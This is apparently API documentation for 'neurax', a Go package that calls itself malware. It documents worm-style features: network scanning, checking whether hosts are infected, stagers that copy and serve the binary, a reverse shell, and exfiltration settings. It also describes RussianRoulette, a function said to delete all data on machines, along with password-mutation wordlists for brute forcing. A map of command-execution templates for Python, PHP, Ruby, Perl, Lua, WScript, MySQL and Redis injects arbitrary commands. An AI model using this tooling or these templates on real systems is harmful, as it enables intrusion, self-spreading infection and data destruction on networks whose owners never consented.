Documentation
¶
Index ¶
- Variables
- func Disks() error
- func RussianRoulette() error
- func WordBasicLeet(word string) []string
- func WordCharSwap(word string) []string
- func WordCyrillicReplace(word string) []string
- func WordDuplicate(word string) []string
- func WordEncapsulate(word string) []string
- func WordFullLeet(word string) []string
- func WordRevert(word string) []string
- func WordSingleUpperTransform(word string) []string
- func WordSpecialCharsAppend(word string) []string
- func WordSpecialCharsPrepend(word string) []string
- func ZIPSelf() error
- type Config
- type Nrx
- func (nrx *Nrx) Debug(msg string)
- func (nrx *Nrx) IsHostActive(target string) bool
- func (nrx *Nrx) IsHostInfected(target string) bool
- func (nrx *Nrx) Migrate(path string) error
- func (nrx *Nrx) OpenComm(ctx context.Context)
- func (nrx *Nrx) Purge()
- func (nrx *Nrx) PurgeSelf()
- func (nrx *Nrx) ReportError(message string, e error)
- func (nrx *Nrx) Reverse(ctx context.Context)
- func (nrx *Nrx) Scan(f func(string))
- func (nrx *Nrx) Server(cancel context.CancelFunc)
- func (nrx *Nrx) SetTTL(interval string)
- func (nrx *Nrx) Stager() string
- func (nrx *Nrx) StagerLang(name string) string
- func (nrx *Nrx) Wordlist(words ...string) []string
- func (nrx *Nrx) WordlistPermute(words ...string) []string
Constants ¶
This section is empty.
Variables ¶
var Default = Config{ Stager: "random", StagerSudo: false, StagerBg: false, StagerRetry: 0, StagerRemovalDelay: true, Port: 6741, CommPort: 7777, CommProto: "udp", ScanRequiredPort: 0, LocalIp: cf.GetLocalIp(), Path: ".", FileName: "random", Platform: runtime.GOOS, Cidr: cf.GetLocalIp() + "/24", ScanPassive: false, ScanActive: true, ScanActiveTimeout: 2, ScanPassiveTimeout: 50, ScanPassiveIface: "default", ScanPassiveAll: false, ScanPassiveNoArp: false, ScanFast: false, ScanShaker: false, ScanShakerPorts: []int{21, 80}, ScanFirst: []string{}, ScanArpCache: false, ScanActiveThreads: 10, ScanFullRange: false, ScanGatewayFirst: false, ScanFirstOnly: false, Base64: false, Verbose: false, Remove: false, ScanInterval: "2m", ScanHostInterval: "none", ReverseListener: "none", ReverseProto: "udp", PreventReexec: true, ExfilAddr: "none", WordlistExpand: false, WordlistMutators: []string{"single_upper", "encapsule"}, WordlistPermuteNum: 2, WordlistPermuteSeparator: "-", WordlistShuffle: false, AllocNum: 5, Blacklist: []string{}, FastHTTP: false, Debug: false, NoInfectCheck: true, }
Default is a default configuration for neurax malware
var InfectedHosts []string
var LangExecutors = map[string]string{
"python_os": `import os; os.system("COMMAND")`,
"python_subprocess": `import subprocess; subprocess.call("COMMAND", shell=True)`,
"javascript": `var shl = WScript.CreateObject("WScript.Shell"); shl.Run("COMMAND");`,
"php": `exec("COMMAND")`,
"ruby": "`COMMAND`",
"perl": `system("COMMAND");`,
"lua": `os.execute("COMMAND")`,
"mysql": `\! COMMAND`,
"redis": `eval "os.execute('COMMAND')"`,
}
var ReceivedCommands []string
Functions ¶
func RussianRoulette ¶
func RussianRoulette() error
RussianRoulette deletes all data in the machines
func WordCharSwap ¶
WordCharSwap swaps first and last rune/char in string
func WordCyrillicReplace ¶
WordCyrillicReplace replaces cyrillic chars with ascii chars
func WordDuplicate ¶
WordDuplicate duplicates word in to the slice of letters
func WordEncapsulate ¶
WordEncapsulate encapsulates word in punctuations marks
func WordRevert ¶
WordRevert reverts word to the slice of letters
func WordSingleUpperTransform ¶
WordSingleUpperTransform transforms word to uppercase letter slice
func WordSpecialCharsAppend ¶
WordSpecialCharsAppend appends special chars to the word
func WordSpecialCharsPrepend ¶
WordSpecialCharsPrepend prepends special characters to
Types ¶
type Config ¶
type Config struct {
Stager string
StagerSudo bool
StagerBg bool
StagerRetry int
StagerRemovalDelay bool
Port int
CommPort int
CommProto string
LocalIp string
Path string
FileName string
Platform string
Cidr string
ScanPassive bool
ScanActive bool
ScanActiveTimeout int
ScanPassiveTimeout int
ScanPassiveIface string
ScanPassiveAll bool
ScanPassiveNoArp bool
ScanFast bool
ScanShaker bool
ScanShakerPorts []int
ScanFirst []string
ScanArpCache bool
ScanActiveThreads int
ScanFullRange bool
ScanGatewayFirst bool
ScanFirstOnly bool
Base64 bool
ScanRequiredPort int
Verbose bool
Remove bool
ScanInterval string
ScanHostInterval string
ReverseListener string
ReverseProto string
PreventReexec bool
ExfilAddr string
WordlistExpand bool
WordlistMutators []string
WordlistPermuteNum int
WordlistPermuteSeparator string
WordlistShuffle bool
AllocNum int
Blacklist []string
FastHTTP bool
Debug bool
NoInfectCheck bool
}
Config has all features of neurax malware that can be configured
type Nrx ¶
type Nrx struct {
// contains filtered or unexported fields
}
nrx keeps a self copping and nrx malware capabilities
func (*Nrx) IsHostActive ¶
IsHostActive validates is port active when at least one port is open
func (*Nrx) IsHostInfected ¶
IsHostInfected validates if host is infected with Neurax
func (*Nrx) ReportError ¶
ReportError reports error in verbose way
func (*Nrx) Reverse ¶
Reverse launches a reverse shell. Each received command is passed to handleCommand func
func (*Nrx) Server ¶
func (nrx *Nrx) Server(cancel context.CancelFunc)
Server start server serving binary self as bytes or base64 encoded string
func (*Nrx) StagerLang ¶
StagerLang uses specified language
func (*Nrx) WordlistPermute ¶
WordlistPermute permutes words in to slice